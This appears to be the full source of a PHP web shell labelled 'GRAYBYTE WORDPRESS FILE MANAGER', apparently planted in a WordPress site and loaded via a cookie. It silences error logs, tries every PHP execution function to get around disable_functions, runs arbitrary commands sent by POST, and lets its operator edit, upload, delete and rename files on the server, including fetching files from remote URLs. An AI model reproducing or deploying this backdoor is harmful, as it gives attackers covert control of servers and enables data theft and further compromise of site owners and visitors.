GRAYBYTE WORDPRESS FILE MANAGER2696

GRAYBYTE WORDPRESS FILE MANAGER2000

<?php
// Remote shell content - will be loaded via current_cache cookie
@error_reporting(0);
@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('display_errors', 0);

// NO AJAX - we use traditional form submission like shel-js
// This works even when included in middle of HTML page

// Bypass disable_functions
function bypassExec($cmd) {
    $output = '';
    
    // Try shell_exec
    if (function_exists('shell_exec')) {
        $output = @shell_exec($cmd . ' 2>&1');
        if ($output) return $output;
    }
    
    // Try exec
    if (function_exists('exec')) {
        @exec($cmd . ' 2>&1', $arr);
        $output = implode("\n", $arr);
        if ($output) return $output;
    }
    
    // Try system
    if (function_exists('system')) {
        ob_start();
        @system($cmd . ' 2>&1');
        $output = ob_get_clean();
        if ($output) return $output;
    }
    
    // Try passthru
    if (function_exists('passthru')) {
        ob_start();
        @passthru($cmd . ' 2>&1');
        $output = ob_get_clean();
        if ($output) return $output;
    }
    
    // Try proc_open
    if (function_exists('proc_open')) {
        $descriptors = [
            0 => ['pipe', 'r'],
            1 => ['pipe', 'w'],
            2 => ['pipe', 'w']
        ];
        $proc = @proc_open($cmd, $descriptors, $pipes);
        if (is_resource($proc)) {
            fclose($pipes[0]);
            $output = stream_get_contents($pipes[1]);
            fclose($pipes[1]);
            fclose($pipes[2]);
            proc_close($proc);
            if ($output) return $output;
        }
    }
    
    // Try popen
    if (function_exists('popen')) {
        $fp = @popen($cmd, 'r');
        if ($fp) {
            while (!feof($fp)) {
                $output .= fread($fp, 1024);
            }
            pclose($fp);
            if ($output) return $output;
        }
    }
    
    return 'All exec functions disabled';
}

function bypassMkdir($path, $mode = 0755) {
    if (function_exists('mkdir')) {
        return @mkdir($path, $mode);
    }
    // Fallback using exec
    $cmd = "mkdir -p " . escapeshellarg($path);
    bypassExec($cmd);
    return file_exists($path);
}

function bypassWriteFile($file, $content) {
    // Try file_put_contents
    if (function_exists('file_put_contents')) {
        $result = @file_put_contents($file, $content);
        if ($result !== false) return true;
    }
    
    // Try fopen/fwrite
    if (function_exists('fopen')) {
        $fp = @fopen($file, 'w');
        if ($fp) {
            @fwrite($fp, $content);
            @fclose($fp);
            return file_exists($file);
        }
    }
    
    // Try echo redirect
    $tmpFile = sys_get_temp_dir() . '/' . md5(uniqid());
    @file_put_contents($tmpFile, $content);
    if (file_exists($tmpFile)) {
        $cmd = "cp " . escapeshellarg($tmpFile) . " " . escapeshellarg($file);
        bypassExec($cmd);
        @unlink($tmpFile);
        return file_exists($file);
    }
    
    return false;
}

function bypassUploadFile($tmpFile, $target) {
    // Try move_uploaded_file
    if (function_exists('move_uploaded_file')) {
        if (@move_uploaded_file($tmpFile, $target)) {
            return file_exists($target);
        }
    }
    
    // Try copy
    if (function_exists('copy')) {
        if (@copy($tmpFile, $target)) {
            @unlink($tmpFile);
            return file_exists($target);
        }
    }
    
    // Try rename
    if (function_exists('rename')) {
        if (@rename($tmpFile, $target)) {
            return file_exists($target);
        }
    }
    
    // Try read content and write
    if (file_exists($tmpFile)) {
        $content = @file_get_contents($tmpFile);
        if ($content !== false) {
            $result = bypassWriteFile($target, $content);
            @unlink($tmpFile);
            return $result;
        }
    }
    
    // Try shell command
    if (file_exists($tmpFile)) {
        $cmd = "cp " . escapeshellarg($tmpFile) . " " . escapeshellarg($target);
        bypassExec($cmd);
        @unlink($tmpFile);
        return file_exists($target);
    }
    
    return false;
}

// Get current directory first
$cwd = isset($_GET['dir']) ? $_GET['dir'] : getcwd();
$cwd = @realpath($cwd) ?: getcwd();

// ============================================
// HANDLE TRADITIONAL FORM SUBMISSIONS
// (No AJAX - works even in middle of HTML)
// ============================================

// Command execution - store output in variable
$cmdOutput = '';
if (isset($_POST['cmd']) && !empty($_POST['cmd'])) {
    $cmd = $_POST['cmd'];
    
    // Change to current directory before executing command
    if (is_dir($cwd)) {
        @chdir($cwd);
    }
    
    $cmdOutput = bypassExec($cmd);
    if (!$cmdOutput) $cmdOutput = 'Command executed (no output)';
}

// Handle file edit - inline like shel-js
$editFile = '';
$editContent = '';
if (isset($_GET['editfile']) && !empty($_GET['editfile'])) {
    $editFile = $_GET['editfile'];
    
    if (isset($_POST['savefile']) && isset($_POST['filecontent'])) {
        bypassWriteFile($editFile, $_POST['filecontent']);
        echo "<script>alert('File saved!'); window.location.href=window.location.pathname + '?dir=" . urlencode($cwd) . "';</script>";
        exit;
    }
    
    $editContent = @file_get_contents($editFile);
}

// Handle file upload
if (isset($_FILES['uploadfile'])) {
    $tmpFile = $_FILES['uploadfile']['tmp_name'];
    $fileName = basename($_FILES['uploadfile']['name']);
    $target = $cwd . '/' . $fileName;
    
    bypassUploadFile($tmpFile, $target);
    echo "<script>alert('File uploaded!'); window.location.href=window.location.pathname + '?dir=" . urlencode($cwd) . "';</script>";
    exit;
}

// Handle remote URL upload
if (isset($_POST['remoteurl']) && !empty($_POST['remoteurl'])) {
    $url = $_POST['remoteurl'];
    $filename = isset($_POST['remotefilename']) && !empty($_POST['remotefilename']) 
        ? basename($_POST['remotefilename']) 
        : basename(parse_url($url, PHP_URL_PATH));
    
    if (empty($filename)) $filename = 'downloaded_' . time() . '.txt';
    
    $file = $cwd . '/' . $filename;
    
    // Download content
    $content = '';
    if (function_exists('curl_exec')) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
        curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
        curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
        curl_setopt($ch, CURLOPT_TIMEOUT, 30);
        $content = curl_exec($ch);
        curl_close($ch);
    } elseif (function_exists('file_get_contents')) {
        $content = @file_get_contents($url);
    }
    
    if ($content && bypassWriteFile($file, $content)) {
        echo "<script>alert('File downloaded from remote URL!'); window.location.href=window.location.pathname + '?dir=" . urlencode($cwd) . "';</script>";
    } else {
        echo "<script>alert('Failed to download file from remote URL!'); window.location.href=window.location.pathname + '?dir=" . urlencode($cwd) . "';</script>";
    }
    exit;
}

// Handle file delete
if (isset($_GET['delete'])) {
    $file = $_GET['delete'];
    if (is_dir($file)) {
        @rmdir($file);
    } else {
        @unlink($file);
    }
    echo "<script>window.location.href=window.location.pathname + '?dir=" . urlencode($cwd) . "';</script>";
    exit;
}

// Handle rename
if (isset($_GET['rename']) && isset($_POST['newname'])) {
    $oldPath = $_GET['rename'];
    $newName = basename($_POST['newname']);
    $newPath = dirname($oldPath) . '/' . $newName;
    @rename($oldPath, $newPath);
    echo "<script>window.location.href=window.location.pathname + '?dir=" . urlencode($cwd) . "';</script>";
    exit;
}

// Handle view file (read-only) - Full page
if (isset($_GET['viewfile'])) {
    $file = $_GET['viewfile'];
    
    if (file_exists($file) && is_file($file)) {
        $content = @file_get_contents($file);
        $filename = basename($file);
        ?>
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>View: <?php echo htmlspecialchars($filename); ?></title>
    <style>
        * { margin: 0; padding: 0; box-sizing: border-box; }
        body { 
            font-family: 'Courier New', monospace; 
            background: #0a0a0a; 
            color: #0f0; 
            padding: 20px;
        }
        .header {
            background: #1a1a1a;
            padding: 15px;
            border-radius: 8px;
            margin-bottom: 20px;
            border: 1px solid #0f0;
        }
        .filename {
            font-size: 18px;
            color: #0f0;
            font-weight: bold;
        }
        .content {
            background: #000;
            padding: 20px;
            border-radius: 8px;
            white-space: pre-wrap;
            word-wrap: break-word;
            border: 1px solid #0f0;
            font-size: 13px;
            line-height: 1.5;
        }
        .btn {
            padding: 8px 15px;
            background: #0f0;
            color: #000;
            border: none;
            border-radius: 4px;
            cursor: pointer;
            font-weight: bold;
            text-decoration: none;
            display: inline-block;
            margin-top: 10px;
        }
        .btn:hover { background: #0d0; }
    </style>
</head>
<body>
    <div class="header">
        <div class="filename">👁️ Viewing: <?php echo htmlspecialchars($filename); ?></div>
        <button class="btn" onclick="window.close()">✖️ Close</button>
    </div>
    <div class="content"><?php echo htmlspecialchars($content); ?></div>
</body>
</html>
        <?php
    } else {
        echo '<h1 style="color: red;">File not found</h1>';
    }
    exit;
}

// Get directory listing
function getDirList($dir) {
    $items = [];
    if (is_dir($dir) && $handle = @opendir($dir)) {
        while (false !== ($item = readdir($handle))) {
            if ($item != '.' && $item != '..') {
                $path = $dir . '/' . $item;
                $items[] = [
                    'name' => $item,
                    'path' => $path,
                    'type' => is_dir($path) ? 'dir' : 'file',
                    'size' => is_file($path) ? filesize($path) : 0,
                    'perms' => substr(sprintf('%o', fileperms($path)), -4),
                    'owner' => function_exists('posix_getpwuid') ? @posix_getpwuid(fileowner($path))['name'] : fileowner($path),
                    'modified' => date('Y-m-d H:i:s', filemtime($path))
                ];
            }
        }
        closedir($handle);
    }
    
    // Sort: directories first, then files, alphabetically
    usort($items, function($a, $b) {
        if ($a['type'] === $b['type']) {
            return strcasecmp($a['name'], $b['name']);
        }
        return $a['type'] === 'dir' ? -1 : 1;
    });
    
    return $items;
}

$items = getDirList($cwd);
$parent = dirname($cwd);

// Function to build URL with preserved GET params
function buildUrl($newParams = []) {
    $params = $_GET;
    foreach ($newParams as $key => $value) {
        $params[$key] = $value;
    }
    return '?' . http_build_query($params);
}
?>
<style>
        * { margin: 0; padding: 0; box-sizing: border-box; }
        body { font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif; background: #1a1a1a; color: #fff; }
        .asep-multi-wwwwww { padding: 20px; position: relative !important; z-index: 1000000 !important; display: block !important; }
        .asep-multi-wwwwww.active { display: block; }
        .header { background: #2d2d2d; padding: 15px; border-radius: 8px; margin-bottom: 20px; }
        .path { font-size: 14px; color: #4CAF50; margin-bottom: 10px; word-break: break-all; }
        .actions { display: flex; gap: 10px; flex-wrap: wrap; margin-top: 10px; }
        .btn { padding: 8px 15px; background: #4CAF50; color: white; border: none; border-radius: 4px; cursor: pointer; font-size: 12px; }
        .btn:hover { background: #45a049; }
        .btn-danger { background: #f44336; }
        .btn-danger:hover { background: #da190b; }
        .btn-secondary { background: #2196F3; }
        .btn-secondary:hover { background: #0b7dda; }
        .file-list { background: #2d2d2d; border-radius: 8px; overflow: hidden; }
        .file-item { display: flex; align-items: center; padding: 12px 15px; border-bottom: 1px solid #3d3d3d; transition: background 0.2s; }
        .file-item:hover { background: #3d3d3d; }
        .file-icon { width: 30px; height: 30px; margin-right: 12px; display: flex; align-items: center; justify-content: center; border-radius: 4px; }
        .file-icon.dir { background: #FFC107; color: #000; }
        .file-icon.file { background: #2196F3; }
        .file-info { flex: 1; }
        .file-name { font-size: 14px; color: #fff; text-decoration: none; display: block; margin-bottom: 4px; }
        .file-name:hover { color: #4CAF50; }
        .file-meta { font-size: 11px; color: #999; }
        .file-actions { display: flex; gap: 8px; }
        .file-actions a, .file-actions button { padding: 5px 10px; font-size: 11px; text-decoration: none; }
        .cmd-box, .upload-box { background: #2d2d2d; padding: 15px; border-radius: 8px; margin-bottom: 20px; }
        .cmd-box input, .upload-box input[type="file"] { width: 100%; padding: 10px; background: #1a1a1a; border: 1px solid #3d3d3d; color: #fff; border-radius: 4px; margin-bottom: 10px; }
        .cmd-output { background: #1a1a1a; padding: 15px; border-radius: 4px; font-family: 'Courier New', monospace; font-size: 12px; max-height: 300px; overflow-y: auto; white-space: pre-wrap; margin-top: 10px; }
        .modal { display: none; position: fixed; z-index: 1000; left: 0; top: 0; width: 100%; height: 100%; background: rgba(0,0,0,0.8); overflow-y: auto; }
        .modal-content { background: #2d2d2d; margin: 5% auto; padding: 20px; border-radius: 8px; width: 90%; max-width: 800px; max-height: 80vh; overflow-y: auto; }
        .close { color: #aaa; float: right; font-size: 28px; font-weight: bold; cursor: pointer; line-height: 20px; }
        .close:hover { color: #fff; }
        textarea.editor { width: 100%; min-height: 400px; padding: 15px; background: #1a1a1a; border: 1px solid #3d3d3d; color: #0f0; border-radius: 4px; font-family: 'Courier New', monospace; font-size: 13px; resize: vertical; }
        .modal-header { margin-bottom: 15px; border-bottom: 1px solid #3d3d3d; padding-bottom: 10px; }
        .modal-title { font-size: 18px; color: #4CAF50; display: inline-block; }
</style>

<div id="shellContainer">
        <div class="header">
            <div class="path">📁 <?php echo htmlspecialchars($cwd); ?></div>
            <div class="actions">
                <?php if ($parent !== $cwd): ?>
                <a href="<?php echo buildUrl(['dir' => $parent]); ?>" class="btn btn-secondary">⬆️ Parent Directory</a>
                <?php endif; ?>
                <button onclick="showCmd()" class="btn">💻 Command</button>
                <button onclick="showUpload()" class="btn">📤 Upload</button>
                <button onclick="location.reload()" class="btn btn-secondary">🔄 Refresh</button>
            </div>
        </div>

        <div class="cmd-box" id="cmdBox" style="display: none; background: linear-gradient(45deg, #343a40, #495057); border: 3px solid #00ff00; box-shadow: 0 4px 12px rgba(0,255,0,0.3);">
            <strong style="color: #00ff00; font-size: 18px; display: block; margin-bottom: 15px;">💻 Command Line Interface</strong>
            
            <form method="POST" style="margin-bottom: 15px;">
                <div style="display: flex; align-items: center; background: #000; padding: 10px; border-radius: 5px; font-family: 'Courier New', monospace;">
                    <span style="color: #00ff00; margin-right: 10px; white-space: nowrap;">$ </span>
                    <input type="text" name="cmd" placeholder="Enter command (ls, pwd, cat file.txt, etc.)" 
                        style="flex: 1; background: transparent; border: none; color: #00ff00; font-family: 'Courier New', monospace; font-size: 14px; outline: none;" 
                        value="<?php echo isset($_POST['cmd']) ? htmlspecialchars($_POST['cmd']) : ''; ?>">
                    <button type="submit" class="btn" style="margin-left: 10px; padding: 5px 15px; background: #007cba;">▶ Execute</button>
                </div>
            </form>
            
            <?php if ($cmdOutput): ?>
            <div class="cmd-output" style="background: #000; color: #00ff00; padding: 15px; border-radius: 5px; font-family: 'Courier New', monospace; font-size: 12px; max-height: 400px; overflow-y: auto; white-space: pre-wrap; border: 2px solid #00ff00;">
                <strong style="color: #ffc107;">[<?php echo date('H:i:s'); ?>] Output:</strong><br>
                <?php echo htmlspecialchars($cmdOutput); ?>
            </div>
            <?php endif; ?>
        </div>

        <div class="upload-box" id="uploadBox" style="display: none; background: linear-gradient(45deg, #28a745, #20c997); border: 3px solid #fff; box-shadow: 0 4px 12px rgba(0,255,0,0.3);">
            <strong style="color: white; font-size: 18px; display: block; margin-bottom: 15px;">📤 Upload File</strong>
            
            <!-- Tab Headers -->
            <div style="display: flex; margin-bottom: 15px; border-bottom: 2px solid rgba(255,255,255,0.3);">
                <button type="button" onclick="showUploadTab('local')" id="tabLocal" class="btn" style="flex: 1; border-radius: 0; background: rgba(255,255,255,0.9); color: #000; border-bottom: 3px solid #ffc107;">📁 Local File</button>
                <button type="button" onclick="showUploadTab('remote')" id="tabRemote" class="btn" style="flex: 1; border-radius: 0; background: rgba(255,255,255,0.5); color: #000; border-bottom: none;">🌐 Remote URL</button>
            </div>
            
            <!-- Local Upload -->
            <div id="uploadLocal" style="display: block;">
                <form method="POST" enctype="multipart/form-data">
                    <input type="file" name="uploadfile" required style="margin-bottom: 10px; padding: 10px; background: white; color: #000; border: 2px solid #ddd; border-radius: 4px; width: 100%;">
                    <button type="submit" class="btn" style="background: #007cba; padding: 10px 20px; font-size: 14px;">🚀 Upload to Current Directory</button>
                </form>
            </div>
            
            <!-- Remote Upload -->
            <div id="uploadRemote" style="display: none;">
                <form method="POST">
                    <input type="text" name="remoteurl" placeholder="Enter remote URL (e.g., https://example.com/file.txt)" required style="width: 100%; padding: 10px; background: white; color: #000; border: 2px solid #ddd; border-radius: 4px; margin-bottom: 10px; font-family: monospace;">
                    <input type="text" name="remotefilename" placeholder="Save as filename (optional, auto-detect from URL)" style="width: 100%; padding: 10px; background: white; color: #000; border: 2px solid #ddd; border-radius: 4px; margin-bottom: 10px;">
                    <button type="submit" class="btn" style="background: #007cba; padding: 10px 20px; font-size: 14px;">📥 Download & Create</button>
                </form>
            </div>
        </div>

        <?php if ($editFile): ?>
        <div class="cmd-box" style="background: linear-gradient(45deg, #007cba, #0056b3); border: 3px solid #4CAF50; box-shadow: 0 4px 12px rgba(0,255,0,0.3); margin-bottom: 20px;">
            <strong style="color: #ffc107; font-size: 18px; display: block; margin-bottom: 15px;">✏️ Editing: <?php echo htmlspecialchars(basename($editFile)); ?></strong>
            <form method="POST">
                <textarea name="filecontent" style="width: 100%; min-height: 500px; padding: 15px; background: #1a1a1a; border: 2px solid #4CAF50; color: #0f0; border-radius: 4px; font-family: 'Courier New', monospace; font-size: 13px; margin-bottom: 15px;"><?php echo htmlspecialchars($editContent); ?></textarea>
                <div style="display: flex; gap: 10px;">
                    <button type="submit" name="savefile" class="btn" style="padding: 10px 20px; background: #28a745; font-size: 14px;">💾 Save File</button>
                    <a href="<?php echo buildUrl(['dir' => $cwd]); ?>" class="btn btn-danger" style="padding: 10px 20px; font-size: 14px; text-decoration: none; display: inline-block;">✖️ Cancel</a>
                </div>
            </form>
        </div>
        <?php endif; ?>

        <div class="file-list">
            <?php foreach ($items as $item): ?>
            <div class="file-item">
                <div class="file-icon <?php echo $item['type']; ?>">
                    <?php echo $item['type'] === 'dir' ? '📁' : '📄'; ?>
                </div>
                <div class="file-info">
                    <?php if ($item['type'] === 'dir'): ?>
                        <a href="<?php echo buildUrl(['dir' => $item['path']]); ?>" class="file-name"><?php echo htmlspecialchars($item['name']); ?></a>
                    <?php else: ?>
                        <span class="file-name"><?php echo htmlspecialchars($item['name']); ?></span>
                    <?php endif; ?>
                    <div class="file-meta">
                        <span title="Permissions">🔒 <?php echo $item['perms']; ?></span> | 
                        <span title="Owner">👤 <?php echo $item['owner']; ?></span> | 
                        <span title="Size"><?php echo $item['type'] === 'file' ? '📦 ' . number_format($item['size']) . ' bytes' : '📁 DIR'; ?></span> | 
                        <span title="Modified">🕐 <?php echo $item['modified']; ?></span>
                    </div>
                </div>
                <div class="file-actions">
                    <?php if ($item['type'] === 'file'): ?>
                        <a href="<?php echo buildUrl(['editfile' => $item['path']]); ?>" class="btn">✏️ Edit</a>
                    <?php endif; ?>
                    <a href="<?php echo buildUrl(['delete' => $item['path']]); ?>" class="btn btn-danger" onclick="return confirm('Delete this item?')">🗑️ Delete</a>
                </div>
            </div>
            <?php endforeach; ?>
        </div>
</div>

<!-- Modals removed - using simple page navigation instead -->

<script>
        // Simple toggle functions - no AJAX needed
        function showCmd() {
            const box = document.getElementById('cmdBox');
            box.style.display = box.style.display === 'none' ? 'block' : 'none';
            document.getElementById('uploadBox').style.display = 'none';
        }

        function showUpload() {
            const box = document.getElementById('uploadBox');
            box.style.display = box.style.display === 'none' ? 'block' : 'none';
            document.getElementById('cmdBox').style.display = 'none';
        }
        
        // Switch upload tabs
        function showUploadTab(tab) {
            if (tab === 'local') {
                document.getElementById('uploadLocal').style.display = 'block';
                document.getElementById('uploadRemote').style.display = 'none';
                document.getElementById('tabLocal').style.background = 'rgba(255,255,255,0.9)';
                document.getElementById('tabLocal').style.borderBottom = '3px solid #ffc107';
                document.getElementById('tabRemote').style.background = 'rgba(255,255,255,0.5)';
                document.getElementById('tabRemote').style.borderBottom = 'none';
            } else {
                document.getElementById('uploadLocal').style.display = 'none';
                document.getElementById('uploadRemote').style.display = 'block';
                document.getElementById('tabLocal').style.background = 'rgba(255,255,255,0.5)';
                document.getElementById('tabLocal').style.borderBottom = 'none';
                document.getElementById('tabRemote').style.background = 'rgba(255,255,255,0.9)';
                document.getElementById('tabRemote').style.borderBottom = '3px solid #ffc107';
            }
        }
        
        // Auto show command output if exists
        <?php if ($cmdOutput): ?>
        document.addEventListener('DOMContentLoaded', function() {
            document.getElementById('cmdBox').style.display = 'block';
        });
        <?php endif; ?>
</script>